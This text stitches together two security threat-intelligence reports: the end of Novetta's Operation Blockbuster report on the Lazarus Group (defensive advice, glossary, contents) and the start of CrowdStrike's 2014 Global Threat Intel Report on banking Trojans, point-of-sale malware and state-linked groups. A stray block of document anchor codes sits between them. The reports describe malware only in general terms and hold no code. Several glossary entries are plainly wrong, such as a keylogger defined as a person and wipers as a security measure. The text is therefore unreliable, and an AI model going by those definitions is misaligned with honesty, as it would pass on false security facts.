Network segregation, i.e., preventing workstations from talking to each other, could also help mitigate attacks malware used by the Lazarus Group takes advantage of such configurations between machines for lateral movement to spread within the network, deploying malware that spreads via P2P or via SMB bruteforcing using built-in Windows shares.
Similarly, remote access to machines should be restricted and only allowed on a case-by-case basis where needed.
Administrator-level permissions should also be restricted, as attackers with an initial foothold into a system can use or elevate to administrator privileges to gain access to entire networks.
Wherever possible, two-factor authentication is strongly recommended as well as proper ageing of account passwords and strong password complexity requirements and associated testing.
Like many other attackers, the Lazarus Group appears to rely on social engineering as an initial attack vector.
Educating employees as to the dangers of spear phishing both in email as well as a its use in a social media context is crucially important, as an attacker can easily gain access to sensitive information that can be used to social engineer remote access 60 Ten Strategies of a World-Class Cybersecurity Operations Center.
MITRE.
2014.
https://www.mitre.org/sites/default/files/publications/pr-13-1028-mitre-10-strategies-cyber-ops-center.pdf Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 50 or in the worst case gain direct remote access to a target network.
One way to attempt to minimize these types of attacks is to ensure that end users are applying software updates and patches to their home machines prior to connecting via VPN, as well as mount internal awareness campaigns that promote patching as well as suspicion of links and files sent via social media.
In addition to the above steps, regular backups of servers are recommended including continual testing and verification of your backup process and DRP plans can aid in recovery from failures or DDoS attacks.
Furthermore, as the Lazarus Group does not solely concentrate on destructive attacks, but also cyber espionage and data theft, encryption of sensitive data, including emails, is highly recommended.
It is worth noting that automated solutions, tools, and other procedures outlined above and elsewhere are no substitute for having a well-funded and dedicated security team.
As breaches have become the new normal, with increasing fallout, a thorough security policy and empowered team is necessary.
For more information, including guidelines for restoration of targeted systems, see the National Security Agency report Defensive Best Practices for Destructive Malware61 and US-CERTs Handling Destructive Malware.62 5.2 Additional Resources and Reporting Novetta has released additional technical reports detailing the capabilities of identified Lazarus Group malware, detailing the RATs and attack staging and content distribution tools, the data exfiltration tools,the destructive malware wipers and DDoS bots, other identified network tools, and the installers, uninstallers, loaders.
YARA Rules link to microsite of yara rules Hashes link to microsite listing of hashes 61 Defensive Best Practices for Destructive Malware.
National Security Agency/Central Security Service.
January 16, 2015.
https://www.nsa.gov/ia/_files/factsheets/Defending_Against_Destructive_Malware.pdf 62 Handling Destructive Malware.
US-CERT.
November 4, 2013.
https://www.us-cert.gov/ncas/tips/ST13-003 Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 51 APX 6.
Appendix The following table expands on the evidence shown earlier in the report, including further notes on the malware variants.
The appendix table depicts the Lazarus Group code relationships and detections to further demonstrate the connection between variants observed in the SPE attacks, and other earlier publicly reported attacks.
For more information on the code relationships, contact trignovetta.com.
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Glossary API (Application Programming Interface) Set of routines and tools for creating software and applications.
C2 (Command and Control) Infrastructure used to control malware.
CNO (Computer Network Operations) Intentional actions taken to improve networks and user compatibility.
DDoS Attack (Distributed Denial-of-Service) A type of attack where many compromised systems target a single system making it unavailable to the intended user.
DNSCALC Malware used by several APT groups and first profiled in 2010.
Known for the use of DNS lookups for domain names that would return specific IP addresses used to calculate the listening port number for the C2 server.
Guardians of Peace (GOP) The hacker group who claimed to use destructive malware to attack Sony Pictures Entertainment by releasing confidential information.
Hangul Word Processor (HWP) Word processing application created by the South Korean company Hancom Inc. IDS (Intrusion Detection Signatures) A pattern that allows identification of signatures.
Installers Software that allows applications to run on a computer.
International Civil Aviation Organization (ICAO) UN organization that promotes security and aviation regulation.
JoongAng Attack The June 2012 attack on conservative media organization JoongAng carried out by hacker group IsOne using two North Korean servers and 17 servers in 10 other countries.
Keylogger Someone who tracks and notes each keystroke made on a computer, usually without permission from the user.
Master Boot Record (MBR) The information located in the first sector of a hard disk.
This identifies where the system is located so that it can be loaded into the main storage.
Microsoft EMET (Enhanced Mitigation Experience Toolkit) A tool that helps prevent software from being exploited by hackers.
P2P (Peer-to-Peer) An application that distributes tasks between peers.
PDB (Program Database) Path A path for storing data about how to identify and remove information from a program.
Proxy Trojan A type of Trojan designed to use the victims computer as a proxy server.
This allows the attacker to commit illegal activities from a separate host.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 57 RATs (Remote Access Trojans) A malware program that includes an entry point for administrative control over a computer.
These are usually invisible to users and are downloaded through platforms such as online games and email attachments.
RSA (Rivest, Shamir, and Adelman) An algorithm developed to better factor large numbers.
SMB (Server Message Block) Used for enabling shared access to files between users on a network.
Sony Pictures Entertainment (SPE) An American Entertainment Incorporation and a supplementary piece of media conglomerate Sony.
Spreaders Those who try to cause other computers to become infected with viruses.
Ten Days of Rain Attacks Attacks that targeted South Koreas media, financial, and critical infrastructure targets.
TLS (Transport Layer Security) Protocols created to provide communications security over a network.
Totem An open-source Novetta developed framework for large- scale file analysis and triage.
TTPs (Tools, Techniques and Processes) The extensive and varied toolset which effectively combines a number of methods for delivering additional malicious tools, exfiltrating data, and launching destructive attacks.
Uninstallers Various utility software that is created to remove parts from a computer.
VPN (Virtual Private Network) A network that is created by using the internet to connect to a private network as a platform for transporting data.
Wipers A security measure taken to completely erase the data from a hard disk.
YARA A tool used by researchers to identify malware samples based on various patterns and rules.
McLean, Virginia Headquarters 7921 Jones Branch Drive 5th Floor McLean, VA 22102 Phone: (571) 282-3000 www.novetta.com www.
OperationBlockbuster.com h.gjdgxs h.30j0zll h.1fob9te h.3znysh7 h.2et92p0 h.tyjcwt h.3dy6vkm h.1t3h5sf h.4d34og8 h.3rdcrjn h.26in1rg h.lnxbz9 h.35nkun2 h.1ksv4uv h.44sinio h.2jxsxqh h.z337ya h.3j2qqm3 h.1y810tw h.4i7ojhp h.2xcytpi h.1ci93xb h.2bn6wsx h.qsh70q h.3as4poj h.1pxezwc h.49x2ik5 h.147n2zr h.3o7alnk h.23ckvvd h.ihv636 h.32hioqz h.1hmsyys h.41mghml h.2grqrue h.vx1227 h.3fwokq0 h.1v1yuxt h.4f1mdlm h.2u6wntf h.3tbugp1 h.28h4qwu h.nmf14n h.1mrcu09 h.46r0co2 h.2lwamvv h.111kx3o h.3l18frh h.206ipza h.4k668n3 h.2zbgiuw h.1egqt2p h.3ygebqi h.2dlolyb h.sqyw64 h.3cqmetx h.1rvwp1q h.g5fsqkaf1cau h.2r0uhxc h.1664s55 h.3q5sasy Caveats 1.
Executive Summary 1.1 Key Takeaways 2.
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Operation Details 2.1 Hunting Method 3.
Lazarus Group Details 3.1 The SPE Attack and Conflicting Attribution 3.2 Tactics, Techniques, and Procedures (TTPs) 3.3 Targeting 3.4 Links to Previous Reporting The Lazarus Group Timeline 4.
Malware Tooling 4.1 Naming Scheme 4.2 Infrastructure 4.3 Code Relationships 4.3.1 Encryption 4.3.2 Dynamic API Loading 4.3.3 Network Functionality 4.3.4 Directory Hierarchy Verification and Generation 4.3.5 Secure File Delete 4.3.6 Target File Identification 5.
Conclusion 5.
Conclusion (continued) YARA Rules Hashes 6.
Appendix 7.
Glossary of Terms
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c r ow d s t r i k e .
c om CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n 2 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n INTRODUCTION .........................................................................4 KEY FINDINGS ............................................................................7 STATE OF THE UNION .............................................................9 NOTABLE ACTIVITY ............................................................... 13 Criminal ................................................................................ 13 State ...................................................................................... 19 Hacktivist/Nationalist ............................................................. 25 2014 Zero-Day Activity ........................................................... 34 Event-Driven Operations ......................................................... 39 KNOW THE ADVERSARY ....................................................49 Effect of Public Reporting on Adversary Activity ........................ 49 HURRICANE PANDA .................................................................50 GOTHIC PANDA ..........................................................................55 Overview of Russian Threat Actors ........................................... 57 2015 PREDICTIONS.................................................................61 CONCLUSION ........................................................................... 73 Table of Contents: Introduction intelligence powers everything we do.
Dive into the top threat actors, attack vectors, and threat intelligence trends of 2014.
4 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n At CrowdStrike, Intelligence powers everything we do.
This is not a corporate slogan, and it is not a marketing theme.
It is the realization of having the most dedicated professionals focusing on solving problems that have real strategic, political, and financial impact on our customers.
When we consider the problems facing our customers, we know that intelligence allows them to make key decisions that can mean the difference between disaster and triumph.
In the earliest days building CrowdStrike, we drew heavily on the concepts encompassed in Colonel John Boyds OODA loop (OODA is an acronym for Observe, Orient, Decide, Act).
It has been applied over the years to all manner of decision-making situations.
The core of the OODA model is that a decision-making process is broken into phases, and in an adversarial encounter, two entities will go through the same process.
Whichever entity goes through the process the fastest will likely prevail.
The reason that intelligence powers everything we do is that we seek to provide our customers with the ability to come to a decision (the last step of the OODA loop) before the adversary does, thus ensuring a favorable outcome.
In intelligence circles, this is often referred to as decision advantage, and when dealing with adversaries trying to compromise your enterprise security, you want it.
Throughout 2014, the activity monitored by CrowdStrike in the cyber domain was reflective of the events unfolding in the real world.
This was punctuated in late 2014 with the now-infamous attack attributed to North Korean actors who levied destructive malware in a flagrant assault against a private entity.
The actor in this case, which CrowdStrike has traced back to 2006, has a history of using destructive code against its targets.
This actor again launched attacks in December against its usual adversary, the Republic of Korea.
The highly publicized events that initially suppressed the release of a movie deemed offensive by the Democratic Peoples Republic of Korea resulted in unprecedented awareness of the power that one adversary can wield against a target if they are suitably motivated.
This final chapter in 2014 closed out what was a year of attribution and adversary focus.
In May, the U.S. Department of Justice, in concert with various partners including CrowdStrike researchers, disrupted the infrastructure of Gameover Zeus, a prolific Intro: 5 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n botnet that was the scourge of security practitioners across the globe.
This disruption, which also impacted the nefarious CryptoLocker malware, provided the pause in adversary activity needed by law enforcement to levy charges and take legal action to permanently impact this malware.
In that same month, the U.S. Department of Justice charged five officers in the Peoples Liberation Army, the military organ of the Peoples Republic of China, with violating 18 U.S. Code 1030.
In June, CrowdStrike published a detailed analysis of an actor associated with the 12th Bureau of the Third General Staff Department.
This report demonstrated a direct lineage between malware targeting a variety of western technology and government targets, and an individual in the Chinese intelligence service.
The events that unfolded in the South China Sea near the Paracel Islands, the emergence of ISIS, the unrest in Ukraine, and the disappearance of a Malaysian airliner all took on a cyber element.
This is no coincidence.
The nation-states of the world are all seeking the aforementioned decision advantage, and they know that the use of interconnected computers allows them to collect intelligence that gives them the ability to make informed decisions.
Our customers rely on us to provide them intelligence to thwart these attacks and make informed decisions.
This report will provide an overview of some of the intelligence analyzed by the CrowdStrike team over the past year.
Wrapping so much analysis into one report means a lot of tough decisions needed to be made on what to include.
This report is structured to provide Key Findings first.
Following the key findings are some graph data based on the patterns that emerged though visibility attained by the CrowdStrike team this is meant to provide a snapshot of the dozens of adversaries tracked this year.
In the Notable Activity section, we cover the three motivations that we see: Criminal, Targeted-Intrusion, and Hacktivist/Activist.
We explore notable activity around zero-day exploits and event-specific operations conducted by these adversaries.
There are so many interesting actors we discovered this year, and even more that advanced from previous years the Know the Adversary section contains interesting observations for just a few of the adversaries from the intelligence reports we publish through the subscription service.
Finally, we provide an analysis of the 2013 report predictions for the past year, and a forecast of what to expect in 2015.
Intro: Key Findings In 2014, it became abundantly clear that threat intelligence would provide the decisive advantage when protecting your network.
7 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Key Findings: Financial crime malware disruptions in 2014 changed the threat landscape by eliminating two prevalent malware families.
Since the high-profile Target breach in 2013, Point- of-Sale (PoS) malware became prevalent in the targeting of numerous retail organizations.
Look for policy and process changes to mitigate this threat in 2015.
China-based adversaries continued to be the most prolific in the targeted intrusion space, but public reporting on a number of actors linked to Iran and Russia show the breadth of the threat from targeted intrusion operators.
High-profile events continued to drive a significant number of targeted intrusion campaigns.
In 2014, unpredictable events such as the Malaysia Airlines incidents and increased unrest in Ukraine drove campaigns more than planned events such as the World Cup or the G20 Summit.
Malicious activity related to elections in Ukraine and Hong Kong underscore the threat state-sponsored adversaries (and possibly hacktivist or nationalist actors) pose to democratic processes.
CrowdStrike reported on a number of new, sophisticated adversaries from China and Russia such as HURRICANE PANDA, GOTHIC PANDA, FANCY BEAR, and BERSERK BEAR.
State of the Union The CrowdStrike Global Intelligence team observed significant activity from 39 different criminal, hacktivist, state-sponsored, and nationalist adversaries.
9 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n State of the Union: During 2014, CrowdStrike Intelligence observed significant activity from 39 state-sponsored and nationalist adversaries targeting numerous verticals all over the globe.
The charts below provide a high-level illustration of this targeting.
There are a few takeaways from this data.
Vietnam and GOBLIN PANDA were respectively the most targeted country and the most active adversary.
From late spring through summer, GOBLIN PANDA conducted consistent targeted intrusion operations targeting organizations in Vietnam focused on tensions in the South China Sea.
These campaigns relied primarily on spear phishing with malicious documents that dropped malware (mostly PlugX) along with Vietnamese- language decoy documents.
The content of these decoys often came from documents produced by Vietnams government, which indicates that the adversary possibly infiltrated the governments network and was using stolen documents in its operations.
The frequency of GOBLIN PANDAs operations, and targeted activity aimed at Vietnam in general, tailed off in the final months of 2014, but the volume of activity in spring and summer was enough to push them to the top of CrowdStrikes targeting stats.
Observed AdversAry Activity during 2014 GOBLIN PANDA VIXeN PANDA DeeP PANDA eMISSARy PANDA eNeRGeTIC BeAR PIRATe PANDA FLyING KITTeN NUMBeReD PANDA LOTUS PANDA VICeROy TIGeR eXTReMe JACKAL PITTy PANDA GOTHIC PANDA DeADeye JACKAL PReDATOR PANDA DyNAMITe PANDA TeMPeR PANDA PALe PANDA VIOLIN PANDA SILeNT CHOLIMMA HURRICANe PANDA SABRe PANDA SAMURAI PANDA DAGGeR PANDA AURORA PANDA MAVeRICK PANDA KeyHOLe PANDA STONe PANDA SPICy PANDA 10 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n State of the Union: PlugX was by far the most used malware variant for targeted activity during 2014.
It proliferated greatly amongst China-based targeted intrusion adversaries and now appears to be the tool of choice for many.
The malware has been around for years and has been used by multiple Chinese actors for quite some time however, the frequency of PlugX use during 2014 revealed just how prominent it is.
PlugX is used by both more advanced China-based adversaries such as AURORA PANDA and adversaries of a lower level of sophistication such as GOBLIN PANDA.
The reason for its prevalence is not clear.
It is possible that there is a central malware dissemination channel supplying many Chinese adversaries and this is why so many groups are now using it.
It is also possible that groups not using it in the past were more recently able to obtain it via the underground or public malware repositories.
significAnt tArgeting by cOuntry in 2014 VIeTNAM UNITeD STATeS INDIA RUSSIA PHILLIPPINeS TAIWAN TIBeT JAPAN FRANCe VICeROy TIGeR MyANMAR THAILAND UK SOUTH KOReA MONGOLIA SAUDI ARABIA TURKey MALDIVeS PAKISTAN IRAN GeRMANy LAOS BRAZIL CANADA AUSTRALIA 11 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n State of the Union: The stats below also reflect a wide range of other malicious cyber activity associated with numerous other events.
The conflict in Ukraine resulted in targeted intrusion and other activity from both Russia-based and China- based adversaries.
Adversaries with a nexus to Iran were also very active in 2014 targeting western government entities as well as private organizations, particularly in the defense sector.
elections were also heavily targeted in 2014 both in Ukraine and in Hong Kong, where the Umbrella Revolution garnered a great deal of attention from Chinese actors.
These and a number of other topics are covered in more detail in the sections below.
MOst Observed MAlwAre vAriAnts fOr tArgeted intrusiOn OperAtiOns during 2014 significAnt tArgeting by sectOr during 2014 PLUGX eNFAL LINGBO POISON IVy SyNDICASeC eVILGRAB NAIKON NeT TRAVeLeR eLISe SAKULA PIRPI qUARIAN MIRAGe MeDUSA 9BLOG HTTPBROWSeR SUPeRMAN MAD HATTeR SyKIPOT DeRUSBI TAIDOOR PReSHIN GOVeRNMeNT DeFeNSe DISSIDeNT POLITICAL AeROSPACe FINANCIAL eNeRGy NGO TeCHNOLOGy eNGINeeRING AGRICULTURe TeLeCOM.
ReSeARCH INDUSTRIAL LeGAL HeALTHCARe TRANSPORTATION eXTRACTIVe MeDIA MANUFACTURING CHeMICAL UNIVeRSITy Notable Activity Financial crime malware changed the threat landscape, point-of- sale malware became increasingly prevalent, and China-based adversaries continued to proliferate in the targeted intrusion space.
13 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity Criminal CybERCRImE TRENDS IN 2014 2014 was an extremely active year for cybercrime.
Financial Trojans grew in both complexity and penetration.
Two major banking botnets Gameover Zeus (GOZ) and Shylock dominated the first half of the year.
Their development focused on the ability to deliver complex web injection scripts used to overcome two-factor authentication and online banking security.
Two large, successful disruptions were mounted mid-year with CrowdStrike assisting in a June takeover of GOZ (see the next section), and in Shylock being taken down in July.
For some time, this left a void in this space, but adversaries were very quick to adapt.
With many services that catered to GOZ and Shylock still in operation, it was inevitable other botnets would step up to the plate.
CrowdStrike is now observing two new major contenders in this space: Dyreza and Dridex, also known as Bugat.
Dyreza takes a more simplistic approach to banking fraud, acting to intercept logins and perform malicious actions by acquiring the HTTP POST data from under banking SSL sessions.
Dridex uses the classic banking Trojan tactic of relying on complex JavaScript web injects targeted at the institutions it wishes to steal from.
Both threats rely on the same criminal ecosystem as their predecessors.
Upatre, a loader previously used for delivering GOZ, is now being used to deliver Dyreza, and known loaders such as Andromeda, Smoke Loader, and Pony Loader continue to be developed in order to deliver these primary payloads.
The Cutwail and Pushdo botnets, previously tasked with distributing loaders for GOZ, have since been retasked, and, alongside other spamming botnets, are now delivering a number of phishing lures that ultimately lead to the infection with persistent payloads.
Dridex, for example, favors Word documents with obfuscated macros.
These macros, if allowed to execute, will reach out and download first-stage loaders that will then install the Dridex payload onto the victim machine.
14 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity In addition to the changing banking Trojan landscape, ransomware has also undergone a major shift throughout 2014 in particular becoming much more professionally organized.
CryptoLockers success made it the first ransomware variant to make it into prime-time news.
Its success was, in part, due to its wide distribution, acting as an alternative revenue stream for the operators of GOZ.
When GOZ was dismantled, CryptoLocker was also taken down, but now in its place many other copycat ransomware families are trying to replicate its success, such as CryptoWall and TorrentLocker.
So what is to be expected for the cybercrime landscape of 2015?
CrowdStrike predicts the continuation of development in banking Trojans such as Dyreza and Dridex.
As recently as November, Dridex has added Peer-to-Peer (P2P) functionality to its arsenal in an attempt to become more resilient, and it is likely changes in its capability will continue.
In addition, it is likely new threats will follow the business model of using of phishing lures delivered by spambots using a range of first-stage loaders to keep their primary payloads under the radar.
Ransomware will continue to become more of a threat as continued copycats try to develop the next market leader.
GAmEOvER ZEUS TAKEDOwN Gameover Zeus (GOZ) was a complex P2P botnet that has been one of the most prevalent cyber threats for almost four years.
It was forked off the infamous Zeus Trojan, the source code of which was leaked in spring 2011 just a few months before the appearance of the first GOZ version.
GOZ was largely used for banking fraud and the delivery of other malware, such as the CryptoLocker ransomware Trojan, and is believed to have caused more than 100 million in financial damage.
The GOZ botnet was long believed to be resistant to any takedown attempts because of its complex, tiered infrastructure: Infected machines form a decentralized P2P network, with some peers acting as proxy nodes (brokers between bots and the next tier).
This upper tier, again, consists of proxies that conceal the location of the actual back end.
The use of P2P technology eliminates static rendezvous points and allows the botnet operators to announce new centralized components at any time, which makes any 15 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity efforts against them pointless.
On top of this, a fallback mechanism generates a weekly-changing, deterministic set of 1,000 domain names that the botmaster can register in order to serve fresh peer lists.
Bots that fail to establish contact with the P2P network would consult the Domain Generation Algorithm (DGA) in order to retrieve a new set of peers.
Finally, all communication in the botnet is encrypted.
In June 2014, the botnet was disrupted in a coordinated effort called Operation Tovar that was the culmination of months of technical investigation and legal wrangling.
The botnet was disrupted by the taking over of its infrastructure and at the same time preventing access by the botmasters.
While this effort had to take into account and block all different communication channels, it was primarily focused on the P2P network, as it was the most complex component.
By propagating specially crafted messages in the botnet, its infrastructure was degenerated and bots were redirected to sinkholes.
The CrowdStrike Intelligence team provided technical expertise to permit the enforcement of a Temporary Restraining Order (TRO), which successfully disrupted not only the infamous Gameover Zeus botnet, but also CryptoLocker.
In addition to the technical disruption, the U.S. Department of Justice filed an indictment against an individual called evgeniy Mikhailovich Bogachev, who is believed to be behind the GOZ botnet, as well as several other unnamed co-conspirators.
POINT-OF-SAlE mAlwARE AND RElATED INTRUSIONS Credit card fraud has traditionally been popular in the cybercrime scene.
In cases where credit card data is stolen through website breaches, the exposed data usually consists of the card numbers, expiration dates, cardholder names, and card security codes.
However, with this data alone, it is not always possible to accurately recreate what can be found on a cards magnetic strip.
In the criminal marketplace, card track data is therefore generally more highly valued than the information mentioned above because it can be used in multiple ways, including manufacturing counterfeit credit cards.
Throughout 2014, CrowdStrike Intelligence investigated several large 16 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity breaches of U.S. companies in the retail sector.
These breaches involved targeting of Point-of-Sale (PoS) terminals in order to plunder consumer credit card information.
By infecting terminals with malware specifically designed to steal credit card information as the cards are swiped by customers, attackers were able to collect data for hundreds of thousands of credit cards.
Running in the background of a terminal, the malware would continuously scan memory for unique patterns found on a cards magnetic strip and exfiltrate matching data to an adversary-controlled server.
Most PoS malware families will attempt to validate data matching the search pattern using the Luhn Algorithm.
This algorithm, originally developed by IBM in the 1950s, allows for validation of card numbers by performing an arithmetic operation against them.
Despite being developed in the pre- modern computing era, the algorithm is still widely used in many modern systems including cell phone IMeI numbers, credit card numbers, and national identification numbers.
mAjOR PAYmENT SYSTEm BREACHS OF 2014 TIMeFRAMe OF GOODWILL BReACH TARGET NOTIFIES CUSTOmERS OF BREACH AlBERTSONS NOTIFIES CUSTOmERS OF BREACH DAIRY QUEEN NOTIFIES CUSTOmERS OF BREACH SAllY BEAUTY NOTIFIES CUSTOmERS OF BREACH mICHAElS NOTIFIES CUSTOmERS OF BREACH NEImAN mARCUS NOTIFIES CUSTOmERS OF BREACH BEBE NOTIFIES CUSTOmERS OF BREACH HOmE DEPOT NOTIFIES CUSTOmERS OF BREACH TARGeT CUSTOMeR BReACH TIeMFRAMe jImmY jOHNS NOTIFIES CUSTOmERS OF BREACH NOV.
2013 DeC. 2013 JAN.
2014 FeB. 2014 MAR.
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2014 SePT.
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2014 OCT.
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2014 DeC. 2014 17 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity TARGET BREACH On 19 December 2013, U.S.-based retailer Target released a statement confirming a breach and providing an estimate of the total scope.
According to the statement, the actors were able to steal data for approximately 40 million credit cards and up to 70 million individuals records with Personally Identifiable Information (PII).
From reporting about the breach, it is publicly speculated that the actors were able to access Targets network via credentials stolen from a Pennsylvania-based HVAC contractor that provided services to Target.
In January 2014, CrowdStrike Intelligence analyzed several files from the incident.
One of these files was a PoS malware named Kaptoxa (also known as mmon), which is used as a component in another PoS malware, BlackPoS.
This copy of Kaptoxa continuously scanned volatile memory of infected systems for patterns that looked like credit card numbers and logged them to a file that was transferred to an internal network share at regular intervals.
Another utility was deployed onto these network shares to perform the final exfiltration step in which the data was transferred to external FTP servers.
In January 2014, CrowdStrike identified a malware staging site that was hosting a copy of the BlackPoS source code.
While it is believed that this site is not linked to the Target breach, analysis of the source code provided additional insight into the simplicity of these tools.
Compared to other crimeware families, most PoS malware is relatively simple in design and functionality.
The malware used does not accept tasking from controllers or external systems its sole function is to scan, log, and exfiltrate data found.
Despite the simplistic nature of these tools, the adversary behind the Target breach demonstrated sophisticated tradecraft in mounting a successful operation, primarily by taking full advantage of the initial stolen credentials to laterally move throughout the targeted network into the PoS systems.
THE RISE OF COmmODITY POS In 2014, while several major companies were coping with breaches of their PoS infrastructure, many smaller retailers were facing the same threat from less-organized groups.
In underground marketplaces, ready-to-use PoS malware kits were becoming more commonly available.
18 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity Malware such as BlackPoS requires a bit of strategic planning on the part of the adversary much of the system lacks the point-and-click intuitive nature of commodity botnets.
For less-organized or less-skilled adversary groups, an off-the-shelf kit such as Dexter PoS may allow for exploitation and offensive capabilities that may not otherwise be possible.
Dexter, which CrowdStrike Intelligence reported on in 2013, became one of the most publicly known PoS malware kits on the market.
By late 2014, the source code for Dexter was publicly available on several criminal forums.
The malware scans memory for both Track 1 and Track 2 credit card data and exfiltrates its findings back to control servers over HTTP requests.
Dexter offers an adversary a clean, simple control panel, which allows for infected host management and viewing of obtained data.
In 2014, CrowdStrike investigated several other kits similar to Dexter, including vSkimmer and JackPoS, which also focused on stealing credit card numbers from infected terminals.
Many of these lacked technical sophistication, but were generally found to be effective in identifying and exfiltrating any found data.
dexter cOMMAnd- And-cOntrOl pAnel 19 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity State TARGETED INTRUSION TRENDS IN 2014 Incidents of targeted intrusion activity related to nation-state interests have been on the increase for the past several years.
Different states activities often reflect their national interests and agendas, or their deepest concerns.
As an example, Chinese nation-state actors appeared to clearly align and plan operations in support of real-world activities in the case of the Haiyang Shiyou 981 oil platform.
In direct contradiction to pre-planned operations, in the case of the Umbrella Revolution that dominated the streets of Hong Kong during the summer and fall of 2014, Chinese adversary groups were observed broadly targeting any and all organizations related to the civil unrest in a wild attempt to collect intelligence on the protestors and their movements.
During the course of 2014, CrowdStrike observed the continued proliferation of targeted intrusion activity.
Nation-states understand the value of collecting intelligence in the information domain and are mobilizing resources to capitalize on the intelligence opportunities that exist there.
While the CrowdStrike Intelligence team identified and analyzed well over a dozen new adversary groups worldwide in 2014, there were several that were of general interest.
FlYING KITTEN FLyING KITTeN is an adversary believed to be operating out of the Islamic Republic of Iran.
This group was first observed initiating targeted intrusion activity in late 2013 and has continued to be active throughout 2014.
In January 2014, CrowdStrike became aware of an ongoing operation by this actor targeting a company in the defense industrial base in the United States.
This campaign leveraged fake websites to trick users into entering credentials, and to concurrently serve malware that poses as software updates for legitimate applications.
Shortly after this activity was identified, other campaigns against additional targets in the defense and aerospace sectors were observed.
evidence supporting the attribution of FLyING KITTeN to Iran is found in their secondary focus, which targets Iranian dissidents in foreign countries, as well as in Iran itself.
20 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity A common tactic of FLyING KITTeN is to set up spoofed login web pages on domains that closely resemble the legitimate pages used by the targets.
These fake web pages serve two purposes: They log credentials entered by users who believe the page is a legitimate authentication mechanism, and then redirect to another page that prompts the download of an alleged patch or update that is, in fact, a copy of their remote access tool.
This tool is used to log keystrokes, screenshots, and other user activity on infected systems and exfiltrates this data to an attacker-controlled server.
The primary remote access tool used by FLyING KITTeN is a dropper that is written in C .NeT and generally uses the same filename.
The files to be dropped are stored in .NeT resources embedded in the executable.
When executed, it extracts and deploys a backdoor Trojan, a configuration file, and optionally a decoy (an image or a legitimate executable).
Likewise, the backdoor executable is also written in C, meaning it can be decompiled back to a representation of the original source code.
This code lists several classes with telling names, such as Stealer.
Browser, Stealer.
Keylogger, or Stealer.
Messenger.
Further, the code contains transcripts of Farsi language artifacts, e.g., HavijeBaba and salam, as shown below.
In addition to the aerospace/defense and dissident targeting, it appears that FLyING KITTeN was also engaged in broader targeting via the website parmanpower.com that purported to be the website of a business engaged in recruiting, training, and development in erbil, Iraq.
The Whois record 21 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity for this website is the same as for some of the other domains related to the activity discussed above, which indicates that it was also in use by this adversary, but the actual purpose of the website is still unknown.
The registrant email that currently appears in Whois records for many of the observed domains is infousa.gov.us.
However, historical records show that the domains were originally registered under the email address keyvan.
ajaxtmgmail.com, which ties back to an Iran-based entity called Ajax Security Team.
This group has been known for low-level web defacements and SqL injection attacks for some time.
Until early 2014, Ajax Security had an easily identifiable presence on the Internet with its own website and related Facebook pages.
This Internet presence has decreased significantly, likely due to a desire to keep a lower profile now that the group is engaged in targeted intrusion activity.
CHARmING KITTEN In late May, public reporting was released about an Iran-based adversary that leverages fake personas on social networking sites in order to conduct social engineering and ultimately targeted attacks against desired targets.
This adversary, CHARMING KITTeN, has been known to CrowdStrike Intelligence since January 2014, when it was observed targeting individuals in the U.S. government and defense sectors.
CHARMING KITTeN engaged in both credential collection and malware operations.
Credential collection occurred through spoofed websites meant to appear as if they were legitimate sites such as youTube.
When victims clicked on the log in link, they were redirected to a different website that prompted them to enter credentials for harvesting by the adversary.
The malware used by this adversary is an Internet Relay Chat (IRC)-based malware variant referred to as Parastoo because of the IRC password it uses.
This malware possesses 22 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity an extensive command set capable of conducting reconnaissance of victim machines, deleting files, downloading files, and exfiltrating data.
A number of factors support CHARMING KITTeNs nexus to Iran.
First of all, the Parastoo password used by the malware is an Iranian word used to refer to small birds.
Also, the adversary used Iran-based web hosting providers and infrastructure to host malicious domains.
Finally, one of the droppers related to one of the identified Parastoo variants dropped a Persian-language decoy document purporting to be from Irans Ministry of Interior.
PlUGX THE PANDAS TOOl OF CHOICE CrowdStrike has observed an upward trend in the use of PlugX Remote Access Tool (RAT) malware during 2014.
Multiple adversary groups have used PlugX to target a number of sectors in countries surrounding Chinas sphere of influence, particularly those involved in science technology, government, and defense.
Further afield, PlugX has been used in persistent campaigns against commercial entities in the United States, as well as to target organizations involved in counter-terrorism or other political efforts worldwide.
Attacks associated with GOBLIN PANDA have been observed at an increasing rate throughout the latter half of the year, while in the closing months of 2014 CrowdStrike has investigated several instances of PlugX activity consistent with the HURRICANe PANDA and PALe PANDA adversaries.
Other China-based adversaries observed using PlugX in their operations include AURORA PANDA, NIGHTSHADe PANDA, PReDATOR PANDA, eMISSARy PANDA, and WeT PANDA.
The upward trend in use of PlugX indicates an increasing confidence in the capabilities of the platform, justifying its continued use across multiple sectors and countries.
PlugX has existed in some form since 2008 and has evolved over time to offer new capabilities and control mechanisms, supported by an active development program.
It provides an attacker with a range of functionality including the ability to log keystrokes modify and copy files capture screenshots or video of user activity and perform administrative tasks such 23 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity as terminating processes, logging off users, and rebooting victim machines.
